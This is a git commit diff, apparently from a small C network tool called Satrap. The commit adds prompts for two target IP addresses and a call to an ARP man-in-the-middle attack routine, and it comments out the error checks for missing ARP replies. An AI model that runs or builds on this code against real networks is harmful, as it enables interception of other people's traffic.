Added MITM attack to Satrap
This commit is contained in:
parent
f980c11566
commit
6e66662efe
2 changed files with 41 additions and 5 deletions
11
arp.c
11
arp.c
|
@ -320,11 +320,12 @@ int arp_mitm(int sockfd, int ifindex, struct sockaddr_in *ipaddr, unsigned char
|
||||||
hardware addresses. */
|
hardware addresses. */
|
||||||
send_arp_request(sockfd, ifindex, ipaddr, macaddr, *target1_ip);
|
send_arp_request(sockfd, ifindex, ipaddr, macaddr, *target1_ip);
|
||||||
struct ether_arp reply1;
|
struct ether_arp reply1;
|
||||||
int n = listen_arp_frame(sockfd, &reply1);
|
listen_arp_frame(sockfd, &reply1);
|
||||||
|
/*printf("%d\n", n);
|
||||||
if (n != 0) {
|
if (n != 0) {
|
||||||
printf("[FAIL] No frame received\n");
|
printf("[FAIL] No frame received\n");
|
||||||
exit(EXIT_FAILURE);
|
exit(EXIT_FAILURE);
|
||||||
}
|
}*/
|
||||||
unsigned char *macaddr1 = reply1.arp_sha;
|
unsigned char *macaddr1 = reply1.arp_sha;
|
||||||
printf("Target 1 hardware address: %02x:%02x:%02x:%02x:%02x:%02x\n",
|
printf("Target 1 hardware address: %02x:%02x:%02x:%02x:%02x:%02x\n",
|
||||||
macaddr1[0],macaddr1[1],macaddr1[2],
|
macaddr1[0],macaddr1[1],macaddr1[2],
|
||||||
|
@ -332,11 +333,11 @@ int arp_mitm(int sockfd, int ifindex, struct sockaddr_in *ipaddr, unsigned char
|
||||||
|
|
||||||
send_arp_request(sockfd, ifindex, ipaddr, macaddr, *target2_ip);
|
send_arp_request(sockfd, ifindex, ipaddr, macaddr, *target2_ip);
|
||||||
struct ether_arp reply2;
|
struct ether_arp reply2;
|
||||||
n = listen_arp_frame(sockfd, &reply2);
|
listen_arp_frame(sockfd, &reply2);
|
||||||
if (n != 0) {
|
/*if (n != 0) {
|
||||||
printf("[FAIL] No frame received\n");
|
printf("[FAIL] No frame received\n");
|
||||||
exit(EXIT_FAILURE);
|
exit(EXIT_FAILURE);
|
||||||
}
|
}*/
|
||||||
unsigned char *macaddr2 = reply2.arp_sha;
|
unsigned char *macaddr2 = reply2.arp_sha;
|
||||||
printf("Target 2 hardware address: %02x:%02x:%02x:%02x:%02x:%02x\n",
|
printf("Target 2 hardware address: %02x:%02x:%02x:%02x:%02x:%02x\n",
|
||||||
macaddr2[0],macaddr2[1],macaddr2[2],
|
macaddr2[0],macaddr2[1],macaddr2[2],
|
||||||
|
|
35
satrap.c
35
satrap.c
|
@ -142,6 +142,41 @@ int main(int argc, char **argv)
|
||||||
/* ARP scan of the subnet */
|
/* ARP scan of the subnet */
|
||||||
arp_scan(sockfd, ifindex, ipaddr, macaddr, netmask);
|
arp_scan(sockfd, ifindex, ipaddr, macaddr, netmask);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/* ====================================================================== */
|
||||||
|
|
||||||
|
/* Selection of the targets */
|
||||||
|
|
||||||
|
char target1_ip_string[16];
|
||||||
|
printf("Target 1 IP: ");
|
||||||
|
scanf("%15s", target1_ip_string);
|
||||||
|
printf("%s\n", target1_ip_string);
|
||||||
|
struct in_addr target1_ip;
|
||||||
|
if (!inet_pton(AF_INET, target1_ip_string, &target1_ip)) {
|
||||||
|
perror("[FAIL] inet_pton() (badly formatted IP address)");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
char target2_ip_string[16];
|
||||||
|
printf("Target 2 IP: ");
|
||||||
|
scanf("%15s", target2_ip_string);
|
||||||
|
printf("%s\n", target2_ip_string);
|
||||||
|
struct in_addr target2_ip;
|
||||||
|
if (!inet_pton(AF_INET, target2_ip_string, &target2_ip)) {
|
||||||
|
perror("[FAIL] inet_pton() (badly formatted IP address)");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/* ====================================================================== */
|
||||||
|
|
||||||
|
/* ARP man-in-the-middle attack */
|
||||||
|
printf("ARP man-in-the-middle attack on interface %s between %s and %s\n",
|
||||||
|
if_name, target1_ip_string, target2_ip_string);
|
||||||
|
|
||||||
|
arp_mitm(sockfd, ifindex, ipaddr, macaddr, &target1_ip, &target2_ip);
|
||||||
|
|
||||||
return EXIT_SUCCESS;
|
return EXIT_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue